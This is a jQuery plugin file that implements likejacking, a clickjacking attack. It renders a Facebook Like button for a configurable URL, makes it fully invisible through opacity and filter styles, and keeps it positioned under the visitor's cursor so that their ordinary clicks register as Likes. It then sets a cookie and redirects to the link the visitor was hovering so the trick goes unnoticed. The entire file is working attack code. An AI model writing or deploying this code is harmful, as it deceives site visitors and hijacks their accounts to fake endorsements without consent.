(function($){
$.fn.liking = function (options) {
   var defaults = {
      url: 'http://www.facebook.com/',
      cookiename: 'click',
      cookieexp: 30,
      selector: '#tooltip',
      element: document,
      x: 5,
      y: 5,
      type: 'like',
      after: function(){}
   },
   options = $.extend(defaults, options),
   cook = readCookie(defaults.cookiename);
   
   $(defaults.selector).addClass('fb-nice-like');
   $(defaults.selector).html('<'+'fb:like href="'+defaults.url+'" send="false" layout="button_count" width="30" show_faces="false" font="arial"></fb:like'+'>');
   FB.XFBML.parse();
   
   $(defaults.selector).css({'cursor':'pointer','position': 'absolute','-ms-filter':'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)','filter':'alpha(opacity=0)','-moz-opacity':'0','-khtml-opacity':'0','opacity': '0'});
   if($.browser.msie){
      
   } else {
      $(defaults.selector).css({'width':'10px', 'height': '10px', 'overflow':'hidden'});
   }
   
   if (cook != 'true') {
      $(document).delegate("a","mouseenter", function(){
         window.ahref = $(this).attr('href');
      });
      $(defaults.element).mousemove(function(e){
         $(defaults.selector).css({'top': (e.pageY - defaults.x)+'px', 'left': (e.pageX - defaults.y)+'px'});
      });
   }
   
   switch(defaults.type)
   {
      case 'like':
         FB.Event.subscribe('edge.create', function (href) {
            fbliking(true, defaults.cookiename, defaults.cookieexp);
            if(window.ahref != 'undefined' && defaults.element == 'a'){
               window.location = window.ahref
            }
            defaults.after();
         });
         break;
   }
}

function fbliking(action, name, exp) {
    if (action == true) {
        createCookie(name, 'true', exp)
    };
    $('.fb-nice-like').remove();
};
function createCookie(name, value, days) {
   if (days) {
     var date = new Date();
     date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
     var expires = "; expires=" + date.toGMTString()
   } else var expires = "";
   document.cookie = name + "=" + value + expires + "; path=/"
}
function readCookie(name) {
   var nameEQ = name + "=";
   var ca = document.cookie.split(';');
   for (var i = 0; i < ca.length; i++) {
     var c = ca[i];
     while (c.charAt(0) == ' ') c = c.substring(1, c.length);
     if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
   }
   return null
}
})(jQuery);